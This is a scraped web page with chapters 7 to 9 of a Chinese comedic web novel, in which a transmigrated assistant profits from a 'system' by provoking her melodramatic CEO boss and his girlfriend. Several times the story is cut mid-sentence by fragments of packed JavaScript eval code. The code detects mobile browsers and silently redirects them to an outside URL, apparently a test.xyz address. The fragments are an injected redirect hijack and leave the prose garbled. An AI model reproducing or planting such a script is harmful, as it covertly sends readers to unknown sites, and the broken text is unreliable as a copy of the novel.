l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886098|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真是奇怪的人,谭茉在心底想。 陆行简注意到了谭茉的目光,他侧过脸,对着谭茉羞赧一笑,漆黑的瞳仁映着煌煌灯光。 他笑着说:“没想到高师傅做菜这么好吃。” “那是当然。”谭茉说。 忽然,两腿间有毛茸茸的东西钻来钻去,谭茉后怕地低头一看,原来是只超胖的萨摩耶,为了要点肉肉吃,在他们几个人之间蹭来蹭去。 它在桌子底下,对着谭茉吐舌头。 “丧彪!快过来。”谭茉夹了块干净的牛肉,在清水碗里过了好几遍给它吃。 丧彪狼吞虎咽地吃下去。 这是南宫烈养的狗。 谭茉问凤娟姨:“没给他吃晚饭吗?” “给了,怎么会不给?”凤娟姨似乎是想到什么,轻声说,“还不是南宫总裁和许小姐吵架了,他们两个都没吃晚饭,以前丧彪就喜欢在他们吃晚饭的时候要一些肉吃,今天没吃到。所以才跑过来。” 说着,凤娟姨也夹了些稍微清淡的牛肉,在清水碗里洗了几遍给丧彪吃。 谭茉本来就要去找南宫烈和许小念,她打听消息,“他们早上回来的?” “对啊,早上两人一起去上班,也不知道怎么,没到中午就回来了。许小姐比南宫总裁早回来,本来还好好地和我们聊天,但看到南宫总裁回来的时候,脸就变黑了。然后两人一言不发。” 说到这,凤娟姨就显露出不耐之色,“中午吃饭也不说要吃什么,我们就按照平时的菜单准备。接过南宫烈看到自己和许小念吃的是同一样的牛排,就发脾气。说自己不吃牛排,这是没品位的人才吃的东西,他要吃羊排, “许小姐这么一听,当然也不高兴,就说也不要吃牛排,要吃红烧大虾。” “这么好了,两个人都对着干,都要吃不一样的菜,一个人十道菜,两个人都是二十道菜,以为自己在饭店点餐?先不说我们这些工人要不要累死,就是家里没有提前准备,也没有二十道不一样的材料啊!” “真是折腾,今天都累死。”凤娟姨疲惫地叹了口气。 原来在谭茉看不见的地方,南宫烈和许小念也在偷偷发着疯。 凤娟姨感慨道:“他们什么时候才能不吵架啊,真是上面打架,下面遭殃。” “这才哪到哪,唐僧师徒要经历九九八十一难,许小念可是要99次出逃,比唐僧还多。” 晚饭快要结束,陆行简渐渐被热闹愉悦的氛围感染,脸上的笑意都多了许多,其他人也似乎因为这顿晚饭洗刷了一天的辛苦工作。 酒足饭饱后,高师傅喊陆行简去洗碗,谭茉没有出声阻止,她去卫生间漱口,洗手,然后摸黑去了主楼那。 饭也吃饱了,钱还是要挣的。 应该先找南宫烈还是许小念呢? 谭茉一边摸进主楼,一边想,忽然间就听到大厅通向花园的门咔嗒一声。 不会是进贼了吧? 谭茉着急地左看看右看看,空荡荡的豪门连点防身武器都没有,只有餐桌上摆着的四五斤大榴莲有点杀伤力。 她飞快地跑过去,拿了榴莲后,又尽量轻手轻脚地靠近后花园。 大厅和后花园只隔了道玻璃墙,到了晚上,凤娟姨会拉上窗帘。 谭茉挑开窗帘,差点尖叫出声,落入眼帘的就是一窗之隔的许小念穿着白色连衣裙,黑色如水的长发垂落,像个贞子蹲在地上。 没有心理准备,就这么挑开,实在是太吓人了,谭茉又把窗帘落下。 隔着厚重的窗帘,谭茉还能听到贞子怨念地喊着:“他爱我,他不爱我,他爱我,他不爱我…..” 7. 发疯第七天 天呐,许小念该不会是在通过数花瓣有多少,来占卜南宫烈爱不爱她吧。 谭茉又哗啦一声,拉开窗帘。 果然,许小念蹲在地上,手里还捏着已经被摘了一半的月季残花。 仔细听,她念念叨叨着:“他爱我,他明天也爱我,他后天更爱我,他大后天更更爱我……他一定要爱我。” 好家伙,这是在占卜还是在诅咒呢? 随着许小念说完最后一句话,手上的月季残花,只剩下了月季残。 晚风一吹,黄色花蕊簌簌颤抖。 系统忽然说:“还挺秃然的。” 谭茉:……你还挺幽默的。 许小念做完这一切,心满意足地站起来,侧身想要回去,没想到一个黑压压的影子不动声息地靠在窗户上。 许小念尖叫着后退。 叫了两声,看清是谭茉后,大喊:“谭助理!你知不知道这样很吓人?” 再看见谭茉手上拿着的大榴莲后,更吓人了。 谭茉拉开玻璃门,让她进来,笑着说:“我这不是怕打扰你诅咒南宫烈爱……” 瞥到许小念不悦的脸,意识到说错话的谭茉马上改口,“不是,我的意思是说不能打扰你的思绪,万一我一打扰,就影响南宫少爷对你的爱……” 到时候,你不就赖我头上了。 这句话谭茉不好意思说出来,但许小念显然没有领会她真正的意思。这时候她似乎才有些不好意思,拢了拢鬓边发,“都被你看到了?” “你怎么在花园里摘花弄这个?”借着屋内的灯光,谭茉虚虚看了一眼,竟然已经有七八朵月季惨遭毒手。 空出来的一小撮,还真的像秃头男人的地中海,而地上一层白粉粉的花瓣,明天园丁师傅看到,还不得心疼死啊。 “因为屋里的玫瑰和月季都被我采秃了。” 正准备将地上的花瓣丢到花坛里毁尸灭迹的谭茉:……行吧,别毁尸灭迹了,等着园丁师傅骂吧。 许小念显然没有意识到这一点,她走进了屋里,谭茉对着花瓣默哀了几秒,也关上了窗。 系统提醒谭茉:“宿主,现在就是挑动许小念情绪的最佳时刻,记住,等会儿你们聊一定是关于南宫烈的,别人的都不算钱!” “知道了。”谭茉虽然这样说,但还是有些苦恼怎么开口,毕竟她和许小念的关系一般,还没有到可以谈私人感情的地步。 许小念倒是率先开口:“是南宫烈喊你过来的吧?” 她一副笃定的口吻,让谭茉这个喜欢唱反调的中二病很想回一句:没想到你这么有自信。 但这可是赚钱机会啊! 谭茉把这个念头深深压了下去,改口道:“许小姐真是料事如神。” 这仿佛给了许小念在这场冷战中获胜的信号,原本暗淡的神色都有了光彩,“就想拿这个来哄我?我才不会原谅他。” 谭茉:……许小念这么会脑补? 不过她很会顺杆儿爬,看到许小念盯着她手上的榴莲说:“肚子饿了吧?我们边吃边聊。” 许小念确实肚子饿了,冷战了一天,她都没怎么吃东西,就任凭谭茉拉着她到客厅的沙发上坐着。 谭茉徒手撕榴莲。 这时候系统又上线,“宿主,你快问她关于南宫烈的,我从这一秒开始计时。” “一分钟多少钱?” “目前显示的是问号,无法检测。” 谭茉:???什么鬼。 但现在不是详细问这个的时候。 谭茉还在想话题的时候,许小念先发制人,矜持地说:“你说我这恋爱谈的,以前没遇到他的时候,我的日子过得挺苦的。” “那遇到他之后呢?” 许小念:“更苦了。” 谭茉:“…….你们今天为什么吵架?” 许小念压抑了一天的倾诉欲终于找到了宣泄的口子,她毫不顾念地说:“还不是南宫烈。今天早上,我们上班换了条路开车,没想到这条路经过他高中母校。” “你知道他经过的时候说了什么?” 谭茉很配合地摇摇头,顺便递给许小念一瓣榴莲。 耳边是系统激动的声音:“每分钟3万!” 谭茉心颤。 同样心颤的还有许小念,“他一开始和我怀念他的高中生涯,说和很多朋友玩得很好。在他心里,这都是一辈子的死党,永远在他心里占据重要的地位。” “我看他意气风发的忆往昔模样,就好奇问这些朋友都有谁。” “他居然说阿倩!” 系统插嘴:“每分钟5万!” “我天!”谭茉被这个数字吃了一惊。 许小念以为谭茉是在替自己同仇敌忾,直拍大腿,“你也觉得南宫烈欠骂吧!” “阿倩是——”谭茉不好意思破坏现在的氛围,但她真不知道这人是谁,她拖着长音。 许小念没有察觉,又拍大腿,“还能是谁?不就是南宫烈的青梅竹马,两小无猜咯!” 说完,她恶狠狠地咬下一块榴莲肉。 系统:“每分钟8万,恭喜宿主已经拿下6万,再接再厉。” 阿这…… 轻轻松松时薪过万啊! 谭茉干劲十足,不管是从赚钱的角度,还是听到许小念说的话被气的。 她把自己代入许小念,义愤填膺:“确实该骂!他都和你在一起了,怎么还好端端提起青梅竹马,任何女生听到男方这么说,肯定是生气的。” 如果谭茉没记错的话,这个青梅竹马在小说中一直喜欢南宫烈,是恶毒女配的存在。 但现在恶毒女配都还没有出马,南宫烈这根爱情搅屎棍非得在好好的一锅粥里搅一搅,那不是纯恶心人吗? “要我说你白天都骂轻了,这种男人不给他下剂猛药,他就不知道珍惜!” 许小念忽然握住谭茉的手,“谭助理,没想到你是我的知音啊。” 系统:“每分钟10万,宿主再加把劲啊。” 面对天上掉的馅饼,谭茉掐了一把自己的大腿,以防找不着北。 她也没想到许小念会如此认可她说的。 “我现在就是觉得他不爱我,所以才在这数花瓣。玄学告诉我,南宫烈还爱我,谭助理,你说他还爱我吗?”许小念问。 谭茉恨铁不成钢的语气:“爱个屁!他怎么会爱你呢!快和他分手,踹了他,去找真正爱你的,就凭你这外貌,到时候小狼狗和小奶狗随你挑。” 这是按照之前的思路回答的,谭茉已经满心期待着系统美妙的声音,告诉她又赚了多少钱。 然而这回,系统:“每分钟-100。” 谭茉:???这玩意还能有负数? 系统:“因为女主角许小念不满意你的建议,这回答让她心如死灰。我们需要的是情绪波动。” 让许小念分手,竟然让她心如死灰?谭茉大为不解。 不过当谭茉的目光重新扫过去,确实看到许小念面如白纸,泫然泪下。 她试探地找补:“虽然随你挑,但也未必有南宫烈优秀。你也可以不分手?” 系统:“每分钟2000。” 谭茉:…… “知音啊,我就知道你懂我。”许小念拭了拭眼角,“你说南宫烈到底爱不爱我?” 谭茉:“他…他很爱你?” 系统:“每分钟8万。” 谭茉:…… 然后许小念和谭茉科普了南宫烈平时有多爱她,为她做了哪些让她很感动的事情。 一个小时后,许小念说得口干舌燥,榴莲也吃光了,她喝了点水润润嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886099|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 随后抓着谭茉的手问:“他平时就是这样对我好,可为什么今天早上要叫阿倩呢?谭知音,你说他到底爱不爱我?” 谭茉:……苍天啊,榴莲壳扎死我算了。 被迫听了许小念翻来覆去叙述的两人缠绵悱恻的爱情故事,并被逼问了几百遍南宫烈还爱不爱她之后,谭茉心如死灰、面无血色。 系统也疲惫地叹了口气:“恋爱中的女人真的话好多。我耳朵都起茧子了。” “不过,恭喜宿主,刚刚赚到了63万,后面的小数我就不报了。” 正朝着楼上书房走去的谭茉一点也没有开心之情,“都是我的血汗钱啊,以及精神补偿费,容易吗我?” 说话间已来到了二楼书房门前,谭茉敲了敲门,无人应答,她也不管了,就直接推门进去。 房间里,南宫烈坐在书桌前,聚精会神地拿着笔,不知道在写什么。 一直等谭茉走到书桌前,埋头苦干的南宫烈抬头瞟了一眼,随后惊吓地往后仰,凳子在地板上划拉出刺耳的声音。 “谭助理!吓我一跳,你怎么回事?没有我的允许,你进来干什么?” 谭茉没理他,低头看桌上的纸,她原本以为南宫烈是伏案工作,刚想夸他终于有了霸总的样子,只是目光在接触到那写满了字的A4纸,人有些傻了。 上面写着:南宫烈爱许小念,南宫烈爱许小念,南宫烈爱许小念,南宫烈爱许小念…… 从头写到尾,还写了好几张。 谭茉伸手数了数,惊魂已定的南宫烈扑倒案前,双臂盖住写了字的A4纸,抬头大喊:“不准看,不准看。” 他大概也觉得羞耻,满脸涨红。 “你该不会在学网上说的那套:写1001遍对方的名字就能挽回爱人吧?”谭茉不可置信。 “当然不是,”南宫烈否认,“是10001遍。” 谭茉:…… “反正你不准看!”南宫烈恶狠狠地说。 真是小学鸡霸总。 不看就不看吧,谭茉双臂也起了鸡皮疙瘩。 一个在花园用玄学占卜南宫烈爱不爱自己,一个在书房里写了好几张自己爱许小念。 还别说,许小念和他还真是般配。 谭茉说:“一句话七个字,还有烈这种笔画多的,老板,你的手一定很酸吧?” 因为写多了字而手指抽搐的南宫烈:…… 要不是有爷爷在谭茉背后撑腰,他早就把谭茉开除了。 南宫烈心里恨恨,直起腰,单手插进裤兜,恢复了冷峻的神态。 “谭助理,没有我的允许,你怎么可以擅自进入我的书房?” 这叼叼的模样,谭茉的白眼都快翻上天,然而……她的饭碗就掌握在他手里。 谭茉哦了一声,“那我和你道歉,再出去,重来一遍?” 南宫烈冷哼。 谭茉转身就走,把门带上。 她在门外用最大的力气,扯着嗓子大喊:“对不起南宫总裁,我不应该在你写你爱许小念小姐的时候,擅自进入。” “哦,你问我南宫总裁写什么?” “也没有什么,就是写‘南宫烈爱许小念,南宫烈爱许小念……” 还没说几回,南宫烈恼羞成怒地打开门,“够了!” “够了?”谭茉无辜地问,“你确定我这道歉到位了吗?你要是不满意,我还可以继续。” “不需要,赶紧给我滚进来。” “滚这么高难度的动作,我哪里做得了?南宫总裁,你怕不是在对我阴阳怪气?”谭茉微笑,“这样的话,我可以继续道歉。” 说罢,谭茉超走廊窗外大喊,“南宫烈爱许小…..” “谭助理!”南宫烈直接打断,咬牙切齿又亲切地说:“我请你进来。” 8. 发疯第八天 看到南宫烈吃瘪,谭茉就暗爽。 但她面上依旧平稳,双手抱胸地跨进门,“这还差不多。” 请个助理好像请了尊大佛,到底谁才是老板?南宫烈止不住地在心里吐槽。 他恨不得谭茉快点走,忙问:“你来这里有什么事?” 系统此刻提醒谭茉:“快点和他说许小念的事,宿主,这样你就又可以赚钱了。” 赚钱? 谭茉连忙摆手:“不了不了。” 系统沉默了,到底是经历过什么,才能让爱钱如命的谭茉恐惧成这样。 谭茉心累:“都这个时间点了,我还得回去睡觉,懒得理癫公了。” 所以谭茉也懒得和南宫烈绕圈子,直截了当地说:“老板,你应该还记得我英年早逝的淑惠吧?” “淑惠?”人名? “就是我的手机,”谭茉哀哀地说,“我喜欢给我的日常用品取名字,就像我的手机叫淑惠。我一个人孤苦无依来这里打工,它们就像我的家人一样陪伴我。很不幸的是,你今天早上谋杀了我的其中一个家人。” 一个手机取人名,还谋杀。南宫烈觉得自家助理神经兮兮。 他想早点打发走,“你把当初买手机的发票发邮箱给我,我通过后,财务部会把钱给你。这种走流程的事情还需要你多跑一趟?” 就是因为不想走流程,谭茉才过来。 谁不知道隆盛集团抠得要死,超过两千的公司支出都需要经过南宫烈过目,而且财务部通过之后,是要下个月才能打钱,也就是说谭茉现在买新手机的钱还需要自己垫着。 再说了,这手机都是多少年前买的了,谁还会保管着发票? “淑惠,我可怜的淑惠……”谭茉声音颤抖地哭起来,“你死得好惨啊,谋杀了你的人不道歉也就算了,还要你尸骨未寒,让我们母女俩天各一方,没有良心,都怪妈没有本事……” 凄惨的哭声刚落下,书房外不知道有什么沉重的东西从楼梯上滚落,砰砰砰,最后摔在地上。 屋外开始乱哄哄,脚步声和说话声混作一团,很快有人敲开了书房的门,谭茉眼角还挂着泪,水雾雾的目光瞥过去,又是陆行简。 真是添乱,这个时候进来,她还在演大戏呢! 陆行简全然不知打断了谭茉的演戏大业,焦急地对南宫烈说:“不好了,许小姐收拾行李,说是要离家出走。” “她有说为什么走吗?”谭茉问。 刚才楼下碰见许小念的时候,陆行简多嘴问过,他说:“许小姐说在南宫总裁这感受不到爱,她觉得没意思,要和总裁分手,就走了。” “感受不到爱?”谭茉来不及说话,南宫烈就疾声质问:“我写了这么多张的‘我爱她’,难道都白写了?这都感受不到我的爱吗?” 谭茉无端地被他幽默到了:……你最好是在开玩笑。 陆行简问:“那现在怎么办?我要去把许小姐带回来吗?” 谭茉心想:带什么?没见到南宫烈一点也不着急,都说了99次出逃,许小念不逃,这作者的书名不就是诈骗。 果然,南宫烈仿佛见惯了许小念的逃跑套路,应证了谭茉所想:“不用去追,她自己会回来。” 屋内只有陆行简这个新人不太适应,频频往屋外看。 南宫烈忽然烦躁地说:“你看什么?还不快把门关上?你以为我会担心她吗?” “哦。”陆行简有些懵,不明白南宫烈为什么冲他发火。 他走去门边,刚要把书房的门关上,南宫烈又不耐烦地凶他:“我让你干什么就干什么?一点眼力见都没有!房间闷得我快透不过气,关门干嘛?” 陆行简:…….不是你让我关的吗? 陆行简丈二和尚摸不着头脑,他委屈巴巴地朝谭茉投去求救的目光。 书房窗外黑沉沉,枝条被吹得摇摇晃晃,风雨欲来。谭茉无力地拍脑袋。 得,霸总的病又犯了。 但她今天还是要把手机的钱要到。 “淑惠,你是不是死不瞑目,所以才在快要下雨的时候来见妈妈。”谭茉低声啜泣,“都怪妈妈没用,不能帮你讨回公道,人心不古啊……” 南宫烈听得一个头两个大,本来就心烦,但又觉得自己不应该太专注于许小念身上,耐着性子和谭茉说话:“我不是说了会赔你?一部手机而已,至于吗?你究竟想怎么样?谭助理?” “对你来说只是一部手机,但对我而言,她可是我的女儿,亲生骨肉!” 谭茉演得很逼真,该哭的时候掐了一把自己的手臂,以至于泪水簌簌滚落,她吸了吸鼻子,“我也不想怎么样,只需要南宫总裁现在,立刻,马上把钱转给我就可以了。这样也算是告慰淑惠的在天之灵。” 原来谭助理打的是这样的算盘。 南宫烈想起之前被谭茉威胁的事,偏偏不想如她愿,一脸为难地说:“我是可以现在就给你,但你手机也坏了,钱怎么提出来呢?要是我转给你了,你却没收到,这算谁的呢?” 居然还有这样的借口,谭茉在心里鄙夷。 南宫烈面上带笑,但笑得狡黠,她才不相信他是真的为她好。 明明她的手机是南宫烈摔坏的,他不主动说要赔就算了,还推三阻四,谭茉真想把他往死里锤! 就在这时候,从三两句对话中理解了他们在说什么的陆行简站出来,“多大点事啊,打到我的支付宝上不就行了,我现在就可以查。” 正在懊恼的谭茉:?峰回路转。 正在窃喜自己计谋得逞的南宫烈:……这傻小子到底是哪一头的? “陆助理。”南宫烈不悦地沉着声音说。 陆行简没有听出南宫烈的弦外之音,他走过来应了一声,随后麻利地拿出自己的手机,点开操作页面,恭敬地把手机递过去:“现在要加好友是吗?” 南宫烈的眉毛比听到许小念要离开的时候更深了。 谭茉没想到事情这么快就有转机,乐开了花,她催促着说:“对对对,快加一下支付宝好友,不要到时候转错了。” 南宫烈算是偷鸡不成蚀把米,但又不得不憋着。 他走到书桌边,捡起手机,装模作样地问:“多少钱?” 原主的手机是iqone牌,盗版的水果机,很多年了。 谭茉捂着胸口,庄严又郑重地说:“我以我的良心保证,是最新版水果牌手机,ProMax版。” 南宫烈无语地问:“你是不是觉得你老板很好骗?” “是啊。” 南宫烈:……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886100|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “发票给我,或者网上买的就截图给我。”南宫烈才不要当冤大头。 “问就是线下买的,发票也没有了,哦,淑惠的遗体也卖给收二手的,现在应该已经肢解了。”谭茉摸了摸口袋里的淑惠,理直气壮。 “那我怎么验证你的手机型号?” 这时候,一旁的陆行简又站出来说:“我作证,今天早上我就在现场,谭助理的手机确实是水果机的ProMax版。” 南宫烈无声地瞪向陆行简:?还有你什么事! 谭茉装委屈绿茶:“堂堂一个隆盛集团的太子爷,应该不会欺负我一个孤苦无依的打工妹吧~~老板,你说是吧^_^” 你是打工妹,我还是大冤种。 南宫烈从小受到的教育就是可以花大价钱买贵的,但不能当冤种,此刻他的心在痛。 “哦,对了,是1TB。”谭茉补充。 心更痛了。 就在谭茉以为这笔钱到手的时候,安静的夜空忽然被一道尖啸的狗叫划破,楼下不知道是谁闯了进来。 与此同时,酝酿了许久的雨也哗啦啦地落下。 屋里的人都有些紧张。 陆行简连忙跑下楼,不到半分钟,他又跑上来,无奈地说:”不好了,许小姐又跑回来偷狗了。” “偷狗?”谭茉莫名其妙。 陆行简换了种说法:“许小姐又回来,要把丧彪抱走。” “啊哈?”谭茉都快被许小念逗笑了,“这是什么骚操作?分手了也要把狗偷走?” “什么丧彪?”南宫烈皱着眉问。 “就是你养的狗啊。”陆行简没有看到旁边的谭茉使着眼色,直接说。 “谭助理!”南宫烈的声音高了八度,“不是说了不让你喊丧彪吗?” “丧彪丧彪,多难听!它叫煤气罐。” 谭茉被骂得耳朵都快聋了,小声咕哝,“煤气罐也没好到哪里去吧。” 她捂着耳朵,转移话题,“天啊,丧……煤气罐四五十斤,都快赶上许小姐一半重了,她居然抱得动?” 很快,谭茉就笑不出来了。 因为南宫烈冷沉着声音吩咐:“你去把煤气罐抢回来!分手可以,但我的狗永远属于我!” 他一副颐指气使的霸总语气,谭茉忍不住问:“……你为什么不去?” 南宫烈:“因为外面下雨了,我不想淋雨,而且我也抱不动。” 谭茉:?你还知道这个时候出去会淋雨?不然我还以为你是傻子呢。 自然而然的口吻让谭茉捏紧了拳头,这装腔作势的老登! “对了,”南宫烈忽然轻笑,装作不经意地说,“辛苦你了,我现在就给你转手机钱。” 谭茉咳了咳嗓子,“不好意思,老板,我记错了。我那部手机其实是三折叠。” “怎么折,都有面。” 南宫烈:…… “水果机还有三折叠?谭助理,你的良心被狗吃了?”这完全是在抢他的钱! 谭茉虚弱地擦了擦眼角的泪,“你怎么知道我的良心被南宫家的狗吃了,哦,老板,你再不付钱,煤气罐就真的要被许小姐带走喽~” 南宫烈的心在滴血。 并且有理由怀疑“南宫家的狗”是指他! 9. 发疯第九天 窗外飘摇着大雨,谭茉跑出去,风刮着雨直往她身上吹,淋湿一大片。 谭茉心里我了个草,果然资本家的光鲜亮丽都是靠打工人维持,这种恶劣天气还要她出来抢狗。 可见她比狗的地位还低。 看来要一个三折叠的水果手机还是太便宜南宫烈这癫公了。 略微扫一眼,只见到许小念大概也觉得这雨太大,牵着煤气罐站在距离大门口最近的长廊下,旁边是个行李箱。 四月的夜晚偏凉,再加上刮风下雨,许小念紧紧抱着自己,煤气罐的毛发被刮成蒲公英,脑袋转来转去,看到谭茉,露出可怜兮兮的样子。 这下好了,丧彪真成了丧彪。 “许小姐,快带着煤气罐回来吧。这么大的雨,不好走路。”谭茉朝着许小念跑,喊话。 她一喊,许小念就弯腰抱起煤气罐,但一时之间抱不动,只好拖着它往后退,“你别过来,你再过来……” 干嘛?要跳楼?那也别带着煤气罐啊。 谭茉看着鼓着嘴梆子,无精打采的煤气罐,没有理她,三五秒就到了许小念面前。 许小念:“我不是不让你过来吗?” 谭茉:“可我为什么要听你的?” 许小念:…… 她深呼吸,神情破碎地抱怨:“我就知道,在他心里,我连煤气罐的地位都不如。等我把煤气罐带走了,他才会让你们来找我。” 这话听着好像是为了让南宫烈来找她,她才故意把煤气罐带走似的。 谭茉直截了当:“他没有让我来找你。” “啊!” “他让我来把煤气罐带回去。”谭茉要去抱煤气罐,“松手吧,许小姐。” “我不信。”许小念有些崩溃,死死拽着煤气罐的上半身,一直摇头,“我不信,我不信,他不会对我这么无情。他说会一直爱着我,怎么可能这么说?” 她一定是哭了,不然谭茉的手背上怎么会被飞溅两滴热泪。 然而此刻的场景有些好笑,许小念弯着腰,撅着屁股,披散着长发摇头哭泣,好像《大话西游》里的牛魔王。 “谭助理,你故意骗我是不是?这对你有什么好处?”许小念骤然抬起头,恶狠狠地瞪着谭茉。 谭茉一个不注意,被吓得退出了长廊,正好一阵雨被吹到身上,彻底透心凉。 煤气罐可怜地嘤嘤叫。 谭茉又想笑又想哭:“我能有什么好处,我就是个卑微的打工妹,谁能来救救我,苍天呐。” “我来帮你了——” “谭助理,我来了,我来了。”犹如仙乐一般的声音传到谭茉耳朵里。 落入眼帘的是陆行简这个和她一样倒霉的同事,被癫公癫婆折腾到大半夜,但同时,谭茉又仿佛看到了希望。 面对陷入情绪化中,讲不通道理的许小念,谭茉对陆行简说:“你把她拉开,我们的任务就是把煤气罐带走,至于她要不要走,我们不管。” 果然多了个人就是好干活,陆行简把许小念拉开,煤气罐终于四只着地,而不是被两人拉扯着悬停在半空中。 谭茉拉过牵引绳,拍了拍他屁股,“快走,我们回去了。” 但煤气罐趴在地上,毫无反应,有种‘今天就算是天王老子来都别想让本狗走一步’的疲惫。 陆行简不敢对许小念用力,时常拉不住她,眼见着许小念就要挣脱开,陆行简抱住续小念的人腰,大喊:“快走!” 谭茉犹豫了一瞬间,弯腰抱起煤气罐,直起腰的时候甚至往上掂了掂,然后就毫不停留地朝家里跑去。 煤气罐是只快五十斤的萨摩耶,抗在怀里几乎要被压倒,而且它仿佛浑身光溜溜,每跑一步,就往下溜一寸。 快要坚持不住的时候,陆行简双从谭茉手中接过,因为用了很大的劲,手背浮现着隐隐的筋络:“你在前面带路。” 这一刻仿佛有了末世逃亡的紧张感,谭茉来不及往后看许小念,跑到前面带路。 进了别墅的屋子就安全了,她引着陆行简进了煤气罐的卧室。 关门前,南宫烈已经站在大厅的台阶上,不像谭茉那般气喘吁吁,身上黏腻。他平静而深沉,甚至在她抢狗的时间里,换了一套干净贵气的衣服。 南宫烈这狗东西!谭茉不禁在心里怒骂。 进了房间,谭茉累得瘫倒在地上,房间里此起彼伏想起两人一狗的浓重呼吸声。 大家都累了。 谭茉转动视线,看到陆行简瘫坐在沙发上,他身上淋湿了一大半,原本柔顺蓬松的微分碎盖头已经惨不忍睹。 她调侃着说:“你的头发湿得跟宽面条一样。” 陆行简回她:“你的头发也没好到哪里去,好像被牛舔了。” 他是以一种既礼貌又窝囊的语气说的,听上去似乎是尊重了谭茉,但好像又没尊重。 谭茉伸长了腿想踢他一脚,但实在是没有力气,都没提得起来,只在原地蹬了蹬。 这么一蹬,旁边的煤气罐哼了声。 “你还好意思哼?丧彪。”谭茉斜着眼睛看向煤气罐,训斥,“要不是你这么胖,我们两个至于狼狈成这样吗?” 煤气罐趴在地上,被雨水打湿了一大片而显露的大肚子占据了整整两大块地砖,此刻正吨吨吨地上下浮动。 谭茉痛心疾首:“我以前以为你只是因为毛发多才导致的虚胖,没想到,你是真的胖。” 听懂了“胖”这个字眼的丧彪气鼓鼓瞪着谭茉,犹豫着选择应该对谭茉做出“生气”还是“窝囊”的反应,最后瞥向另一边,不看谭茉,选择生窝囊气。 “也不是我的错,是不是?本来好好在家睡觉的,谁知道会发生这种事。”陆行简弯下腰摸了摸煤气罐的脑袋,哄着它。 煤气罐嘤嘤嘤地委屈。 陆行简抬头问:“谭助理,南宫总裁和许小姐一直以来都这么……” 他停下这里,没有找到恰当的形容词来描述。 “疯疯癫癫吗?”谭茉轻声说。 一阵沉默。 紧接着,对视的两人都绷不住笑了起来。 谭茉深呼吸:“bingo,恭喜你第一天上班就发现了老板的真实面目。” 南宫烈缺德归缺德,有钱也是真的有钱,就算是给煤气罐住的房间也是别墅的大客房,还有洗手间,比谭茉租的房子都要大。 里面放着一些煤气罐平时会用到的东西。 谭茉找到了两把戴森吹风机。 两人分工合作:先其中一个人去卫生间吹干,另一个人给煤气罐吹毛,之后再交换。 等陆行简从卫生间出来的时候,谭茉已经差不多也把流浪汉版的煤气罐变成威武霸气的丧彪。 屋内开了空调,不算冷。 空气中飘飞着煤气罐的白毛,谭茉冷不丁打了下喷嚏,“幸亏好丧彪没淋到全身,不然得吹到猴年马月去。” 她从口袋中掏出手机,按亮屏幕,一声哀叹,“都快凌晨两点了。” “煤气罐睡觉的生物钟时间到了。”陆行简帮谭茉麻利地收拾着工具,瞥了一眼床上昏昏欲睡的煤气罐,“我们也走吧。” “嗯。”谭茉应着。 将工具妥善归置后,谭茉走在前面,刚把手搭在门把手上,就听到屋外忽然噼里啪啦的巨响声,好像是有什么东西被拂落在地上。 紧接着南宫烈痛心疾首地大喊:“到底要怎样,你才肯相信我爱你!难道要我把心挖出来吗?” 很显然外面还在进行只有南宫烈和许小念他们两人才能理解的某种咆哮式激烈沟通。 “我们?”陆行简担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886101|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧地说,“现在出去会不会引火上身?” “有道理。” 谭茉松开手把,往后退,坐回到床上。她无奈地说:“静观其变。” 如果这个时候出去,外面两个人又指不定要他们两做什么呢。 屋外乒乒乓乓,屋内阒静无声。 屋外的动静似乎是故意演给屋内的人看,但屋内的二人一狗都困倦地耷拉着眼皮,哈欠连连,窝囊得不敢出声。 不知道过去多久,门猛然间被撞开,谭茉惊得差点从床上跳起来。 就连快要闭上眼的煤气罐都陡然间睁大了眼睛,满脸狗脸写着“发生了什么!” 陆行简比谭茉能熬夜,最快恢复状态,忙问道:“老板,有什么事吗?” 然而南宫烈看都没看他,他双眼通红地拉着身边的许小念快速来到床前。 以至于床上的二人一狗都紧张起来。 陆行简:怎么办,谭助理,你快说话呀! 谭茉:这个狗老板又来找我什么麻烦,真是烦死,早知道辞职了! 煤气罐:狗狗祟祟.jpg,瓦达西最近好像没有偷吃罐罐呀。 出乎众人意料的是,南宫烈指着煤气罐的狗鼻子问:“如果我和许小念分手了,你要跟着谁?” 这和夫妻离婚问小孩要跟着谁有什么区别? 陆行简:……果然对老板不能抱太大希望。 